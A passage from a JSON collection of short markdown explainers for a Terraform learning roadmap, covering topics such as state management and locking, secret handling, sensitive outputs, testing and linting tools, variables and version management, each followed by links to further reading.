    "path": "src/data/roadmaps/terraform/content/scaling-terraform@ECcHo0KTDN27MuVTC-Fwy.md",
    "content": "# Scaling Terraform\n\nScaling Terraform involves strategies to manage large and complex infrastructure deployments efficiently. Key approaches include modularizing configurations to improve reusability and maintainability, using workspaces or separate state files for different environments, and implementing remote state storage with locking mechanisms.\n\nEfficient state management becomes crucial, often involving state splitting to reduce operation times. Adopting a CI/CD pipeline for Terraform helps automate and standardize deployment processes. Implementing proper access controls and using features like Terraform Cloud or Enterprise for team collaboration and governance becomes important. Performance optimization techniques, such as using -parallelism flag and targeted applies, help manage large-scale changes. As scale increases, considerations around cost management, security, and compliance gain prominence. Effective scaling often requires a balance between centralized control and distributed team autonomy in infrastructure management."
  },
  {
    "path": "src/data/roadmaps/terraform/content/secret-management@uVz9WwVAgMu1ZU0qjqVnc.md",
    "content": "# Secret Management\n\nTerraform secret management is a critical aspect of secure infrastructure-as-code practices, focusing on the protection of sensitive information like API keys, passwords, and access tokens. Instead of storing secrets directly in Terraform files, best practices advocate for using external secret management systems such as HashiCorp Vault, AWS Secrets Manager, or Azure Key Vault. These systems allow Terraform to retrieve secrets securely during execution, significantly reducing the risk of exposure. For local development, tools like git-crypt or SOPS provide encryption for sensitive files, while Terraform's built-in encrypted state storage options safeguard secrets in state files. By marking variables as sensitive, accidental logging of secret values can be prevented. In CI/CD pipelines, it's crucial to inject secrets securely at runtime and avoid committing them to version control systems. Regular rotation of secrets and access audits further enhance security.\n\nLearn more from the following resources:\n\n- [@official@Inject Secrets with Vault](https://developer.hashicorp.com/terraform/tutorials/secrets)\n- [@article@Terraform Secrets - How to manage them](https://spacelift.io/blog/terraform-secrets)\n- [@article@A comprehensive guide to managing secrets in your Terraform code](https://blog.gruntwork.io/a-comprehensive-guide-to-managing-secrets-in-your-terraform-code-1d586955ace1)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/security@3MnZK2V5KhBhw67SyUVPk.md",
    "content": "# Security\n\nTerraform security encompasses practices and tools to ensure the safe and compliant management of infrastructure-as-code. Key aspects include securing Terraform state files, which often contain sensitive information, by using encrypted remote backends. Access control is crucial, implementing least privilege principles for both human users and service accounts. Sensitive data management involves using vault systems or cloud-native secret managers rather than hardcoding credentials. Code review processes should include security checks, and automated scanning tools can be integrated to detect misconfigurations or policy violations. Implementing compliance-as-code with tools like Terraform Sentinel ensures adherence to organizational policies. Version control and proper git hygiene help maintain audit trails.\n\nVisit the following resources to learn more:\n\n- [@official@Terraform Security](https://www.terraform.io/cloud-docs/architectural-details/security-model)\n- [@article@12 Terraform Security Best Practices](https://spacelift.io/blog/terraform-security)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/sensitive-data@16vLOPP9lTCuBh0q-UVMk.md",
    "content": "# Sensitive Data\n\nTerraform state files often contain sensitive data like passwords, API keys, and other secrets used in resource configurations. This data is stored in plaintext within the state file, posing a security risk if the file is compromised. To mitigate this, Terraform offers several approaches: marking variables as sensitive to prevent them from appearing in logs, using encrypted remote backends for state storage, implementing strict access controls on state files, and utilizing external secret management systems. It's crucial to treat state files as sensitive and secure them accordingly. For highly sensitive environments, some teams opt to store certain secrets outside of Terraform entirely, injecting them at runtime. Regularly auditing state files for sensitive information and implementing proper security measures is essential for maintaining the confidentiality of infrastructure secrets in Terraform deployments.\n\nLearn more from the following resources:\n\n- [@official@Sensitive data in state](https://developer.hashicorp.com/terraform/language/state/sensitive-data)\n- [@official@Handling Sensitive Values in State](https://developer.hashicorp.com/terraform/plugin/best-practices/sensitive-state)\n- [@video@Terraform — Protecting Sensitive Data](https://www.youtube.com/watch?v=yLc1YkB7DFo)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/sensitive-outputs@8giL6H5944M2L0rwxjPso.md",
    "content": "# Sensitive Outputs\n\nTerraform sensitive outputs are a feature used to protect sensitive information in Terraform configurations. When an output is marked as sensitive, Terraform obscures its value in the console output, displaying it as `<sensitive>` instead of the actual value. This is crucial for protecting sensitive data like passwords or API keys.\n\nTo mark an output as sensitive, use the sensitive argument in the output block:\n\n```hcl\noutput \"database_password\" {\n  value     = aws_db_instance.example.password\n  sensitive = true\n}\n```\n\nSensitive outputs are still accessible programmatically and are written to the state in clear text, but their values are hidden in logs and the console to prevent accidental exposure. This feature helps maintain security when sharing Terraform configurations or outputs with team members or in CI/CD pipelines.\n\nLearn more from the following resources:\n\n- [@article@How to output sensitive data in Terraform](https://support.hashicorp.com/hc/en-us/articles/5175257151891-How-to-output-sensitive-data-with-Terraform)\n- [@official@Suppressing values in CLI output](https://developer.hashicorp.com/terraform/language/values/outputs#sensitive-suppressing-values-in-cli-output)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/show@7DZB2VeyuouFXOdFEfeZt.md",
    "content": "# show\n\nThe terraform show command displays a human-readable view of the current state or a saved plan file. When used without arguments, it presents the current state of the managed infrastructure, including all resources and their attributes. If given a path to a saved plan file, it shows the changes that would be made by applying that plan. This command is useful for inspecting the current state of your infrastructure, verifying the details of specific resources, or reviewing planned changes before applying them. It provides a comprehensive overview of your Terraform-managed resources, making it valuable for debugging, auditing, and understanding the current state of your infrastructure. The output includes sensitive information if present, so care should be taken when sharing or displaying the results in unsecured environments.\n\nLearn more from the following resources:\n\n- [@official@Terraform show](https://developer.hashicorp.com/terraform/cli/commands/show)\n- [@official@Terraform state show](https://developer.hashicorp.com/terraform/cli/commands/state/show)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/splitting-large-state@zCU02_5Pide5BZiuMuqEU.md",
    "content": "# Splitting Large State\n\nSplitting large Terraform states involves breaking down a monolithic state file into smaller, more manageable units. This approach is crucial for improving performance, reducing the risk of state corruption, and enabling parallel workflows in large-scale infrastructures. Strategies include organizing resources into separate Terraform workspaces or using distinct state files for different logical components or environments. The process often involves using `terraform state mv` to relocate resources between states or `terraform state rm` followed by `import` in the new configuration. Careful planning is essential to manage dependencies between split states. Benefits include faster apply times, reduced risk of concurrent modification conflicts, and the ability to grant more granular access control. \n\nSee `Splitting State Files` in the `State` topic for more resources.\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/splitting-state-files@a0rUMnYluVUGhyhlDK5S8.md",
    "content": "# Splitting State Files\n\nSplitting Terraform state files involves dividing a large state into smaller, more manageable parts. This is typically done using Terraform workspaces or by organizing resources into separate modules with their own state files. The process helps manage complex infrastructures, improves performance, and allows for more granular access control. To split an existing state, you can use `terraform state mv` to move resources between states, or `terraform state rm` followed by `terraform import` in a new configuration. This approach is beneficial for large projects, enabling teams to work on different parts of infrastructure independently. However, it requires careful planning to manage dependencies between split states. Proper state splitting can lead to more efficient workflows, easier troubleshooting, and better alignment with organizational structures in large-scale Terraform deployments.\n\nLearn more from the following resources:\n\n- [@video@Organizing Terraform with multiple states](https://www.youtube.com/watch?v=5TfgdKXr45I)\n- [@article@How to split state files](https://support.hashicorp.com/hc/en-us/articles/7955227415059-How-to-Split-State-Files)\n- [@article@Introducing terraform-state-split](https://www.shebanglabs.io/moving-terraform-resources-between-different-states/)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/state-force-unlock@Trpi2ZlnXZVYJCibE2bQ8.md",
    "content": "# state force-unlock\n\nThe terraform `state force-unlock` command in Terraform is used to manually release a stuck state lock. State locking is a mechanism that prevents concurrent operations on the same state, but occasionally a lock may not be properly released due to crashes or network issues. This command allows administrators to forcibly remove the lock, enabling further Terraform operations to proceed. It should be used with extreme caution, as it can lead to state corruption if multiple users are attempting to modify the state simultaneously. Before using force-unlock, it's crucial to ensure that no other Terraform operations are genuinely in progress. This command is typically a last resort for resolving locking issues and should only be employed when certain that the lock is erroneously held and no conflicting operations are ongoing.\n\nLearn more from the following resources:\n\n- [@official@Command: force-unlock](https://developer.hashicorp.com/terraform/cli/commands/force-unlock)\n- [@article@Terraform force-unlock command](https://spacelift.io/blog/terraform-force-unlock)\n- [@video@Terraform — Force Unlock](https://www.youtube.com/watch?v=qVs9pLaXSeg)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/state-locking@GseYuG9wT8H9R_enxWzuQ.md",
    "content": "# State Locking\n\nTerraform state locking is a mechanism that prevents concurrent modifications to the same state file, avoiding potential conflicts and data corruption. When enabled, Terraform acquires a lock before performing operations that could modify the state, such as apply or destroy. If the lock is unavailable, Terraform waits or fails, depending on configuration. State locking is automatically supported by many backend types, including S3 with DynamoDB, Azure Blob Storage, and Terraform Cloud. It's crucial for team environments where multiple users or automation processes might attempt simultaneous changes. While essential for data integrity, it's important to implement proper lock management to prevent stuck locks from blocking operations.\n\nLearn more from the following resources:\n\n- [@official@State - Locking](https://developer.hashicorp.com/terraform/language/state/locking)\n- [@official@State Storage and Locking](https://developer.hashicorp.com/terraform/language/state/backends)\n- [@video@Terraform - State locking](https://www.youtube.com/watch?v=QdDCUpggmrw)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/state-pull--push@wSh7bbPswcFAzOicX8VPx.md",
    "content": "# state pull / push\n\nThe `terraform state pull` and `terraform state push` commands are used for managing Terraform state in remote backends. The `pull` command retrieves the current state from the configured backend and outputs it to stdout, allowing for inspection or backup of the remote state. It's useful for debugging or for performing manual state manipulations.\n\nThe `push` command does the opposite, uploading a local state file to the configured backend, overwriting the existing remote state. This is typically used to restore a backup or to manually reconcile state discrepancies. Both commands should be used with caution, especially push, as they can potentially overwrite important state information.\n\nLearn more from the following resources:\n\n- [@official@Command - State pull](https://developer.hashicorp.com/terraform/cli/commands/state/pull)\n- [@official@Command - State push](https://developer.hashicorp.com/terraform/cli/commands/state/push)\n- [@article@Migrate Workspace State Using Terraform State Push / Pull](https://support.hashicorp.com/hc/en-us/articles/360001151948-Migrate-Workspace-State-Using-Terraform-State-Push-Pull)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/state-replace-provider@Os6AOXp1CVI_Bh3NYnX17.md",
    "content": "# state replace-provider\n\nThe terraform `state replace-provider` command in Terraform is used to update the provider information in the state file without altering the actual infrastructure. This command is particularly useful when migrating from one provider to another, or when updating to a new major version of a provider that involves a change in the provider's namespace. It allows users to change the provider associated with resources in the state file, effectively telling Terraform to use a different provider for managing these resources in future operations. This command is crucial for maintaining state consistency during provider transitions or upgrades, especially in large-scale infrastructures. While it doesn't modify the actual resources, it updates Terraform's understanding of which provider should be used to manage them, facilitating smooth provider migrations without requiring resource recreation.\n\nLearn more from the following resources:\n\n- [@official@Command - state replace-provider](https://developer.hashicorp.com/terraform/cli/commands/state/replace-provider)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/state@5xAE-9viD7DP_ugQ6NE_C.md",
    "content": "# State\n\nTerraform state is a crucial concept in Terraform that tracks the current state of your managed infrastructure. It's typically stored in a file named terraform.tfstate, which maps real-world resources to your configuration. This state allows Terraform to determine which changes are necessary to achieve the desired configuration. It contains sensitive information and should be stored securely, often in remote backends like S3 or Terraform Cloud. The state can be manipulated using terraform state commands for tasks like moving resources between states or removing resources from management. Proper state management is essential for collaborative work, ensuring consistency across team members and enabling Terraform to accurately plan and apply changes to your infrastructure.\n\nLearn more from the following resources:\n\n- [@official@State](https://developer.hashicorp.com/terraform/language/state)\n- [@article@Purpose of Terraform state](https://developer.hashicorp.com/terraform/language/state/purpose)\n- [@video@Managing Terraform state files](https://www.youtube.com/watch?v=UDBVCzg2IRo)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/template-files@tB4zfwY4E3GmXo-XQwS-l.md",
    "content": "# Template Files\n\nTerraform template files are a powerful feature for creating customizable, reusable configuration snippets. These files, typically with a `.tftpl` extension, contain placeholders that can be filled with variables at runtime. Terraform uses the `templatefile` function to process these files, replacing variables with actual values. This approach is useful for generating configuration files, scripts, or any text-based content that needs to be parameterized. Template files enhance modularity and reduce repetition in Terraform configurations. They're commonly used for creating user data scripts for EC2 instances, generating complex JSON configurations, or preparing any text-based resource that requires dynamic content. The `templatefile` function reads the contents of a file and renders its template syntax with a given set of variables, allowing for dynamic and flexible resource configurations.\n\nLearn more from the following resources:\n\n- [@official@templatefile function](https://developer.hashicorp.com/terraform/language/functions/templatefile)\n- [@article@What are Terraform templates?](https://spacelift.io/blog/terraform-templates)\n- [@video@Using templatefile in Terraform](https://www.youtube.com/watch?v=cRYYFCekOIk)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/terraform-apply@LDpj-LY_SOXzno04D-Y25.md",
    "content": "# terraform apply\n\n`terraform apply` is the command used to implement the changes defined in your Terraform configuration files. It creates, updates, or deletes the specified infrastructure resources to match the desired state. Before making changes, it shows a plan similar to terraform plan and prompts for confirmation, unless the -auto-approve flag is used. Apply updates the state file to reflect the current infrastructure state, enabling Terraform to track and manage resources over time. It handles dependencies between resources, creating them in the correct order.\n\nLearn more from the following resources:\n\n- [@official@Terraform Apply Documentation](https://developer.hashicorp.com/terraform/cli/commands/apply)\n- [@course@Apply Terraform configuration](https://developer.hashicorp.com/terraform/tutorials/cli/apply)\n- [@article@Terraform Apply Command: Options, Examples and Best Practices](https://www.env0.com/blog/terraform-apply-guide-command-options-and-examples)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/terraform-destroy@LPI13FILvkD55hWcWbPrV.md",
    "content": "# terraform destroy\n\nterraform destroy is a command used to remove all resources managed by a Terraform configuration. It creates a plan to delete all resources and prompts for confirmation before execution. This command is useful for cleaning up temporary environments or decommissioning entire infrastructures. It removes resources in the reverse order of their dependencies to ensure proper teardown. While powerful, terraform destroy should be used cautiously, especially in shared or production environments, as it can lead to data loss if not carefully managed. It's often used in conjunction with terraform state commands for more granular control over resource removal. After destruction, Terraform updates the state file to reflect the changes, but it's important to manage or remove this file if the project is being completely decommissioned.\n\nLearn more from the following resources:\n\n- [@official@Terraform Destroy Documentation](https://developer.hashicorp.com/terraform/cli/commands/destroy)\n- [@article@How to destroy Terraform resources](https://spacelift.io/blog/how-to-destroy-terraform-resources)\n- [@course@Destroy infrastructure](https://developer.hashicorp.com/terraform/tutorials/aws-get-started/aws-destroy)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/terraform-fmt@78bGm8J5Y1I8H4qioOvWb.md",
    "content": "# terraform fmt\n\nterraform fmt is a command in Terraform that automatically formats configuration files to a consistent style. It adjusts indentation, aligns arguments, and sorts blocks and arguments alphabetically. The command rewrites Terraform configuration files (.tf and .tfvars) in the current directory and its subdirectories. It's used to maintain a consistent coding style across projects and teams, improving readability and reducing merge conflicts. The command can be run with options like -recursive to format files in subdirectories, -diff to show the differences, or -check to validate formatting without making changes. Regularly using terraform fmt is considered a best practice in Terraform development workflows.\n\nLearn more from the following resources:\n\n- [@official@Terraform fmt Documentation](https://developer.hashicorp.com/terraform/cli/commands/fmt)\n- [@article@Using Terraform fmt Command to Format Your Terraform Code](https://spacelift.io/blog/terraform-fmt)\n- [@video@How to auto-format Terraform code](https://www.youtube.com/watch?v=kZX3KLOZvhY)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/terraform-plan@LDxAXmTKyvogvgUpvN5pT.md",
    "content": "# terraform plan\n\n`terraform plan` is a command that creates an execution plan, showing what changes Terraform will make to your infrastructure. It compares the current state with the desired state defined in configuration files and outputs a detailed list of resources to be created, modified, or deleted. Importantly, it doesn't make any actual changes to infrastructure, instead helping identify potential issues before applying changes. The plan can be saved to a file for later execution or review. This command is crucial for reviewing changes before implementation, especially in complex environments, and is commonly used in code reviews and CI/CD pipelines to validate proposed infrastructure modifications. While terraform plan provides a preview, it's worth noting that it can't always predict every change due to external factors or API limitations.\n\nLearn more from the following resources:\n\n- [@official@Terraform Plan Documentation](https://developer.hashicorp.com/terraform/cli/commands/plan)\n- [@course@Create a Terraform plan](https://developer.hashicorp.com/terraform/tutorials/cli/plan)\n- [@video@Terraform - Terraform Plan](https://www.youtube.com/watch?v=9v08h-Oaelo)\n- [@article@Terraform plan command and how it works](https://spacelift.io/blog/terraform-plan)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/terraform-registry@iIjUG_N_mQtLHG25v4-xg.md",
    "content": "# Terraform Registry\n\nThe Terraform Registry is a centralized repository for discovering, sharing, and using Terraform modules and providers. It allows users to browse and download pre-built configurations, enabling quick integration of best practices. The registry supports versioning, ensuring consistent deployments, and includes detailed documentation for each module and provider. Users can also publish their own modules to the registry, facilitating community collaboration and reuse.\n\nLearn more from the following resources:\n\n- [@official@Terraform Registry](https://registry.terraform.io/)\n- [@article@Terraform Registry Guide](https://spacelift.io/blog/terraform-registry)\n- [@video@Terraform Registry Providers and Modules](https://www.youtube.com/watch?v=q4VdvS8aXnc)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/terraform-validate@wdYLjB-tKg76B7YcnhevQ.md",
    "content": "# terraform validate\n\nThe validate command helps you make sure your Terraform code is syntactically correct before you deploy. This helps you to prevent misconfiguration due to missing attributes or incorrect dependencies, saving time, improving efficiency, and reducing cost.\n\nLearn more from the following resources:\n\n- [@article@Terraform Validate Examples](https://www.env0.com/blog/terraform-validate-command-practical-examples-and-best-practices)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/terragrunt@AEtW6j2GcfZz7IXk4sM6c.md",
    "content": "# Terragrunt\n\nTerragrunt is a thin wrapper for Terraform that provides extra tools for keeping your configurations DRY (Don't Repeat Yourself), working with multiple Terraform modules, and managing remote state. It helps in managing large-scale infrastructure by reducing code duplication and simplifying the management of multiple environments. Key features include the ability to keep Terraform code DRY by defining inputs and backend configurations centrally, execute Terraform commands on multiple modules at once, and manage remote state for each module automatically. Terragrunt also facilitates the use of Terraform modules across different environments by allowing for easy parameter injection. It's particularly useful in complex, multi-environment setups where maintaining consistency and reducing repetition in Terraform configurations is crucial.\n\nLearn more from the following resources:\n\n- [@official@Terragrunt Website](https://terragrunt.gruntwork.io/)\n- [@opensource@gruntwork-io/terragrunt](https://github.com/gruntwork-io/terragrunt)\n- [@article@Terragrunt Tutorial: Examples and Use Cases](https://www.env0.com/blog/terragrunt)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/terrascan@NSWG79dEygyl6pb54wLrE.md",
    "content": "# Terrascan\n\nTerrascan is an open-source static code analyzer for Infrastructure as Code (IaC) that helps detect compliance and security violations across multiple IaC tools, including Terraform. It scans Terraform configurations against a set of predefined policies to identify potential security risks, misconfigurations, and compliance issues before deployment. Terrascan can be integrated into CI/CD pipelines, providing early detection of vulnerabilities in the development lifecycle. It supports custom policies, allowing organizations to enforce their specific security and compliance requirements. The tool covers various cloud providers and can be extended to support additional policy types.\n\nLearn more from the following resources:\n\n- [@official@Terrascan Website](https://runterrascan.io/)\n- [@opensource@tenable/terrascan](https://github.com/tenable/terrascan)\n- [@article@What is Terrascan?](https://spacelift.io/blog/what-is-terrascan)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/testing-modules@H3_So6qX-s2131WHGR_GO.md",
    "content": "# Testing Modules\n\nTesting Terraform modules involves validating their functionality, reusability, and correctness in isolation and as part of larger systems. This process typically includes unit testing to verify individual module behavior, integration testing to ensure proper interaction with other components, and sometimes end-to-end testing for complex modules. Tests often use tools like Terratest or custom scripts to automate the creation of resources, verification of outputs, and cleanup. Key aspects include testing various input combinations, verifying resource attributes and outputs, and ensuring idempotency. Module testing also involves checking for proper handling of edge cases and error conditions. While it requires initial setup effort, thorough module testing enhances reliability, facilitates refactoring, and improves overall infrastructure code quality.\n\nLearn more from the following resources:\n\n- [@official@Write Terraform Tests](https://developer.hashicorp.com/terraform/tutorials/configuration-language/test)\n- [@video@Terraform Module Testing](https://www.youtube.com/watch?v=1LInIWM_2UQ)\n- [@official@Terraform Test](https://developer.hashicorp.com/terraform/language/tests)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/testing@QSftI21seX6I_xPonlfmU.md",
    "content": "# Testing\n\nTesting Terraform code involves multiple approaches to ensure reliability and correctness of infrastructure-as-code. This includes syntax validation, linting for best practices, unit testing of modules, integration testing to verify resource creation, plan testing to review expected changes, and compliance testing for organizational policies. Tools like TFLint and frameworks such as Terratest are commonly used. Automated testing in CI/CD pipelines helps catch errors early and maintain code quality. Mock providers can be employed for testing without affecting real infrastructure, while property-based testing explores different input combinations. Effective testing strategies balance thoroughness with practicality, considering factors like execution time and resource costs."
  },
  {
    "path": "src/data/roadmaps/terraform/content/tflint@YftsQYpcqJqBKPjy5tWOq.md",
    "content": "# TFLint\n\nTFLint is a third-party, extensible linter for Terraform code. It performs static analysis of Terraform configurations to detect potential errors, enforce best practices, and maintain code consistency. Key features include: Checking for potential errors that terraform validate might miss, enforcing naming conventions and code style rules, identifying deprecated syntax or resource types and, providing cloud provider-specific checks.\n\nTFLint is configurable via .tflint.hcl files and supports custom rules. It can be integrated into CI/CD pipelines for automated code quality checks. While not an official Terraform tool, TFLint is widely used in the Terraform community to complement built-in validation tools and improve overall code quality and reliability in infrastructure-as-code projects.\n\nLearn more from the following resources:\n\n- [@opensource@TFLint Documentation](https://github.com/terraform-linters/tflint)\n- [@article@What is TFLint and How to Lint Your Terraform Code](https://spacelift.io/blog/what-is-tflint)\n- [@video@Quick Tech - TFLint](https://www.youtube.com/watch?v=-BKWpI4Olpw)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/trivy@Vxo_gNdFl3CZXV7GLPqjD.md",
    "content": "# Trivy\n\nTrivy is a comprehensive, open-source security scanner primarily known for container image scanning, but it also supports Infrastructure as Code (IaC) analysis, including Terraform configurations. It can detect vulnerabilities in dependencies, misconfigurations in cloud infrastructure setups, and potential security risks in Terraform code. Trivy's IaC scanning capabilities cover various cloud providers and can identify issues related to compliance, security best practices, and common misconfigurations. The tool is designed for easy integration into CI/CD pipelines, offering fast scanning times and multiple output formats for better reporting and integration with other DevOps tools. Trivy's strength lies in its ability to provide a unified scanning solution across different aspects of the software development lifecycle, from container images to IaC, making it a versatile tool for maintaining security throughout the development and deployment process.\n\nLearn more from the following resources:\n\n- [@official@Trivy Website](https://trivy.dev/)\n- [@opensource@aquasecurity/trivy](https://github.com/aquasecurity/trivy)\n- [@article@How to secure Terraform code with Trivy](https://verifa.io/blog/how-to-secure-terraform-trivy/)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/type-constraints@HUiodBFIp_rsQDkf3WgbI.md",
    "content": "# Type Constraints\n\nTerraform variable type constraints specify allowed data types for input variables. They include primitive types (string, number, bool), complex types (list, set, map, object), and any for unspecified types. Constraints can enforce specific structures, nested types, or value ranges. They're defined in the variable block's type argument, helping catch errors early and ensuring correct variable usage throughout configurations.\n\nLearn more from the following resources:\n\n- [@official@Variable Type Constraints](https://developer.hashicorp.com/terraform/language/expressions/type-constraints)\n- [@video@Terraform Type Constraints](https://www.youtube.com/watch?v=hNZiZEQfV4Q)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/unit-testing@V7_NnDIY1MefV_xjCCsnI.md",
    "content": "# Unit Testing\n\nTerraform unit testing focuses on verifying the behavior of individual modules or components in isolation. It typically involves creating small, focused test cases that validate the expected outputs and resource configurations of a module given specific inputs. Tools like Terratest, a Go library, are commonly used for writing and running these tests. Unit tests for Terraform might check if resources are correctly defined, if count and for_each meta-arguments work as expected, or if output values are calculated correctly. These tests often use mock data or minimal real infrastructure to simulate various scenarios. While they don't guarantee the actual creation of resources, unit tests are valuable for quickly catching logic errors, ensuring module interfaces work as intended, and maintaining code quality as modules evolve.\n\nLearn more from the following resources:\n\n- [@official@Integration or Unit Testing](https://developer.hashicorp.com/terraform/language/tests#integration-or-unit-testing)\n- [@article@Terraform Unit Tests](https://www.hashicorp.com/blog/testing-hashicorp-terraform#unit-tests)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/usecases-and-benefits@hRIDJHIxWc5Iav7tsu8l-.md",
    "content": "# Benefits of Terraform\n\nUsing Terraform offers numerous benefits. It allows you to define your infrastructure as code (IaC), making it human-readable, versioned, and shareable. Its multi-cloud support means you can manage resources consistently across various cloud providers and on-premises environments. By automating infrastructure provisioning and management, Terraform reduces manual errors and speeds up deployments. Version control integration ensures you can track changes, roll back when needed, and collaborate effectively with team members. Terraform's use of templates and modules ensures configuration consistency and reusability across projects and environments, while its state management capabilities keep track of existing resources for efficient updates.\n\nLearn more from the following resources:\n\n- [@official@Use Cases of Terraform](https://developer.hashicorp.com/terraform/intro/use-cases#use-cases)\n- [@article@9 Terraform Use Cases for Your Infrastructure as Code](https://spacelift.io/blog/terraform-use-cases)\n- [@video@What are the Benefits of Using Terraform?](https://www.youtube.com/watch?v=0M4IvedbLJ4)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/validation-rules@U2n2BtyUrOFLnw9SZYV_w.md",
    "content": "# Validation Rules\n\nValidation rules can be used to specify custom validations to a variable. The motive of adding validation rules is to make the variable comply with the rules. The validation rules can be added using a `validation` block.\n\nLearn more from the following resources:\n\n- [@official@Custom Validation Rules](https://developer.hashicorp.com/terraform/language/values/variables#custom-validation-rules)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/variable-definition-file@rdphcVd-Vq972y4H8CxIj.md",
    "content": "# Variable Definition File\n\nA Terraform `variables.tf` file centralizes input variable declarations for a module or configuration. It typically contains multiple variable blocks, each defining a single input variable with its name, type constraint, optional default value, and description. This file serves as a single reference point for all variables used in the configuration, enhancing readability and maintainability. While not mandatory, using `variables.tf` is a common practice to organize and document a module's expected inputs.\n\nLearn more from the following resources:\n\n- [@official@Parameterize Your Configuration](https://developer.hashicorp.com/terraform/tutorials/configuration-language/variables#parameterize-your-configuration)\n- [@video@You should be using tfvars vs variables in Terraform](https://www.youtube.com/watch?v=BHWM4D2GJvI)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/variables@AY7_xUeCl6ilqZzg1YFoP.md",
    "content": "# Variables\n\nTerraform uses variables to make configurations more flexible and reusable. Variables can be declared in `.tf` files and assigned values through various methods, including default values, command-line flags, environment variables, or separate `.tfvars` files. They support multiple data types such as string, number, bool, list, and map. Variables can be referenced throughout the configuration using the `var` prefix. This system enables infrastructure as code to be more dynamic and adaptable to different environments or use cases.\n\nLearn more from the following resources:\n\n- [@official@Input Variables](https://developer.hashicorp.com/terraform/language/values/variables)\n- [@article@How To Use Terraform Variables](https://spacelift.io/blog/how-to-use-terraform-variables)\n- [@video@Learn How to Use Terraform Variable](https://www.youtube.com/watch?v=oArutYYvQ_Y)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/vcs-integration@Z6dG92afC8SGwCFNTx4ac.md",
    "content": "# VCS Integration\n\nHCP's Version Control System (VCS) integration, particularly in Terraform Cloud, enables seamless connection between infrastructure code repositories and HCP services. This feature allows teams to directly link their Git repositories (from providers like GitHub, GitLab, or Bitbucket) to HCP workspaces. When configured, changes pushed to the linked repository automatically trigger Terraform runs in the corresponding workspace. This integration supports GitOps workflows, ensuring that infrastructure changes go through proper version control processes. It enables features like automatic plan generation on pull requests, providing early feedback on proposed changes. The integration also supports branch-based workflows, allowing different branches to be linked to different workspaces for staging and production environments.\n\nLearn more from the following resources:\n\n- [@official@Connecting VCS Providers to HCP Terraform](https://developer.hashicorp.com/terraform/cloud-docs/vcs)\n- [@official@Use VCS-driven workflow](https://developer.hashicorp.com/terraform/tutorials/cloud-get-started/cloud-vcs-change)\n- [@official@Configuring Workspace VCS Connections](https://developer.hashicorp.com/terraform/cloud-docs/workspaces/settings/vcs)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/version-management@6zFuSNOfbPaYIE_t--2nr.md",
    "content": "# Version Management\n\nVersion management in Terraform is crucial for maintaining consistency across different environments and team members. Tools like `tfenv` or `tenv` allow developers to easily switch between different versions of Terraform.\n\n`tenv`, `tfenv`, `tfswitch` and others are version managers that install and manages multiple Terraform versions on a single system. They allow teams to specify and use specific Terraform versions for different projects, ensuring compatibility and reproducibility.  Also they help to manage potential conflicts arising from version differences, facilitates easier upgrades, and supports working on multiple projects with varying Terraform version requirements.\n\n`tfenv` is the oldest shell-based tool that supports only Terraform. `tfswitch` supports both Terraform and OpenTofu. `tenv` supports Terraform, OpenTofu, Terragrunt, Atmos and Terramate.\n\n\nLearn more from the following resources:\n\n- [@opensource@tfenv](https://github.com/tfutils/tfenv)\n- [@opensource@tenv](https://github.com/tofuutils/tenv)\n- [@article@How to Use tfenv to Manage Multiple Terraform Versions](https://spacelift.io/blog/tfenv)\n- [@video@Quick Tech: tfenv](https://www.youtube.com/watch?v=Smk5PrRPQsU)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/versioning@1T35eNO18qoyXcX7S-Jox.md",
    "content": "# Versioning\n\nTerraform state versioning refers to the practice of maintaining multiple versions of the state file over time. While Terraform itself doesn't provide built-in versioning, it's typically achieved through backend configurations that support versioning, such as Amazon S3 with versioning enabled or Terraform Cloud. This approach allows teams to track changes, rollback to previous states if needed, and maintain an audit trail of infrastructure modifications. Versioning helps in recovering from accidental state corruptions or deletions, and in understanding the evolution of infrastructure over time. It's considered a best practice for production environments, enhancing disaster recovery capabilities and providing insights into infrastructure changes.\n\nLearn more from the following resources:\n\n- [@official@State Versions API](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/state-versions)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/versions@bnQ2YLHd7E-vRxX3PnUEX.md",
    "content": "# Versions\n\nSpecifying provider versions in Terraform ensures consistent and predictable behavior across different environments. Instead of using the `version` meta-argument within the provider block, which was deprecated and removed in Terraform 0.13, provider version constraints should now be defined in the `required_providers` block. This approach prevents unexpected changes or compatibility issues due to provider updates, enhancing stability and reliability in infrastructure management. It allows you to control when and how provider updates are applied, ensuring that your infrastructure code runs with the expected provider functionality.\n\nLearn more from the following resources:\n\n- [@official@Requiring Providers](https://developer.hashicorp.com/terraform/language/providers/requirements#requiring-providers)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/what-and-when-to-use-hcp@K_7dB-5cCYzGbwYXXaoiY.md",
